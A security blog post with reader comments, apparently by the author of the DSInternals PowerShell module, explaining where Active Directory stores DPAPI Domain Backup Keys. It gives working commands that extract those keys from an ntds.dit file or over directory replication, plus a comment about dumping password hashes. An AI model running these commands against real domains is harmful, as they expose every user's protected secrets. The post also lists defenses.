Introduction
The Data Protection API (DPAPI) is used by several components of Windows to securely store passwords, encryption keys and other sensitive data. When DPAPI is used in an Active Directory domain environment, a copy of user’s master key is encrypted with a so-called DPAPI Domain Backup Key that is known to all domain controllers. Windows Server 2000 DCs use a symmetric key and newer systems use a public/private key pair. If the user password is reset and the original master key is rendered inaccessible to the user, the user’s access to the master key is automatically restored using the backup key.
The Mimikatz Method
Benjamin Delpy has already found a way to extract these backup keys from the LSASS of domain controllers and it even works remotely:
Key Storage
I have taken Benjamin’s research one step further and I can now extract these keys directly from the Active Directory database, where they are physically stored:
The keys are stored in the currentValue attribute of objects whose names begin with BCKUPKEY and are of class secret. The BCKUPKEY_PREFERRED Secret and BCKUPKEY_P Secret objects actually only contain GUIDs of objects that hold the current modern and legacy keys, respectively. Furthermore, the currentValue attribute is encrypted using BootKey (aka SysKey) and is never sent through LDAP.
The Database Dump Method
The Get-BootKey, Get-ADDBBackupKey and Save-DPAPIBlob cmdlets from my DSInternals PowerShell Module can be used to retrieve the DPAPI Domain Backup Keys from ntds.dit files:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
# We need to get the BootKey from the SYSTEM registry hive first: Get-BootKey -SystemHiveFilePath 'C:\IFM\registry\SYSTEM' <# Output: 41e34661faa0d182182f6ddf0f0ca0d1 #> # Now we can decrypt the DPAPI backup keys from the database: Get-ADDBBackupKey -DBPath 'C:\IFM\Active Directory\ntds.dit' ` -BootKey 41e34661faa0d182182f6ddf0f0ca0d1 | Format-List <# Output: Type : LegacyKey DistinguishedName : CN=BCKUPKEY_7882b20e-96ef-4ce5-a2b9-3efdccbbce28 Secret,CN=System,DC=Adatum,DC=com RawKeyData : {77, 138, 250, 6...} KeyId : 7882b20e-96ef-4ce5-a2b9-3efdccbbce28 Type : PreferredLegacyKeyPointer DistinguishedName : CN=BCKUPKEY_P Secret,CN=System,DC=Adatum,DC=com RawKeyData : {14, 178, 130, 120...} KeyId : 7882b20e-96ef-4ce5-a2b9-3efdccbbce28 Type : RSAKey DistinguishedName : CN=BCKUPKEY_b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d Secret,CN=System,DC=Adatum,DC=com RawKeyData : {48, 130, 9, 186...} KeyId : b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d Type : PreferredRSAKeyPointer DistinguishedName : CN=BCKUPKEY_PREFERRED Secret,CN=System,DC=Adatum,DC=com RawKeyData : {62, 106, 197, 177...} KeyId : b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d #> # In most cases, we just want to export these keys to the file system: Get-ADDBBackupKey -DBPath 'C:\IFM\Active Directory\ntds.dit' ` -BootKey 41e34661faa0d182182f6ddf0f0ca0d1 | Save-DPAPIBlob -DirectoryPath .\Keys # New files should have been created in the Keys directory: (dir .\Keys).Name <# Output: ntds_capi_b1c56a3e-ddf7-41dd-a5f3-44a2ed27a96d.pfx ntds_legacy_7882b20e-96ef-4ce5-a2b9-3efdccbbce28.key #> |
Note that mimikatz would name these files similarly.
The DRSR Method
The same result can be achieved by communicating with the Directory Replication Service using the Get-ADReplBackupKey cmdlet:
1 2 |
Get-ADReplBackupKey -Domain 'Adatum.com' -Server LON-DC1 | Save-DPAPIBlob -DirectoryPath .\Keys |
Defense
I am already starting to repeat myself:
- Restrict access to domain controller backups.
- Be cautious when delegating the “Replicating Directory Changes All” right.
Tags: Active Directory, DPAPI, PowerShell, Security
Hi Michael!
Thank you for your’s toolkit. I have a question about RODC’s NTDS.dit file. It seems that it is been built differently as the NTDS on writable DC.
So, my purpose was to demonstrate to my collegues in lab, that it is impossible to stolen non-cached user passwords from the RODC. I tried to read pwd hashes from NTDS file extracted from a RODC. I’ve pre-populated my RODC by some user passwords, but $key = Get-BootKey -SystemHivePath ‘d:\SHARE\SYSTEM’
Get-ADDBAccount -all -DBPath ‘d:\share\ntds.dit’ -BootKey $key -Verbose
does not generate any output. The ADUC snap-in says some password are replicated to the RODC. I pushed the replication of those passwords from repadmin too. When I specify a NTDS file from writable DC in the same domain, it shows me NT hashes of all accounts.
Have tried 2012 R2 and 2016 domains. What may be a reason?
That is a good point, Eugen, it should have work as you expected. Unfortunately, I currently do not have a RODC available, so I cannot test it right away. I will let you know as soon I have an answer.
Michael, For quick RODC deployment, you can use the same scripts I use in my lab environment
http://pastebin.com/cKxSKda3
Hope this will save your time
Hi Michael,
Save-DPAPIBlob does not output anything, in CQURE Module 3 – Module 3 Auditing Active Directory Credentials and Authentication I see you perform same activity in 1H 40M video time and I see you face same issue when you perform:
Get-ADDBAccount -All -DatabasePath ‘.\Active Directory\ntds.dit’ | Save-DPAPIBlob -DirectoryPath .\Output\
What could be the issue?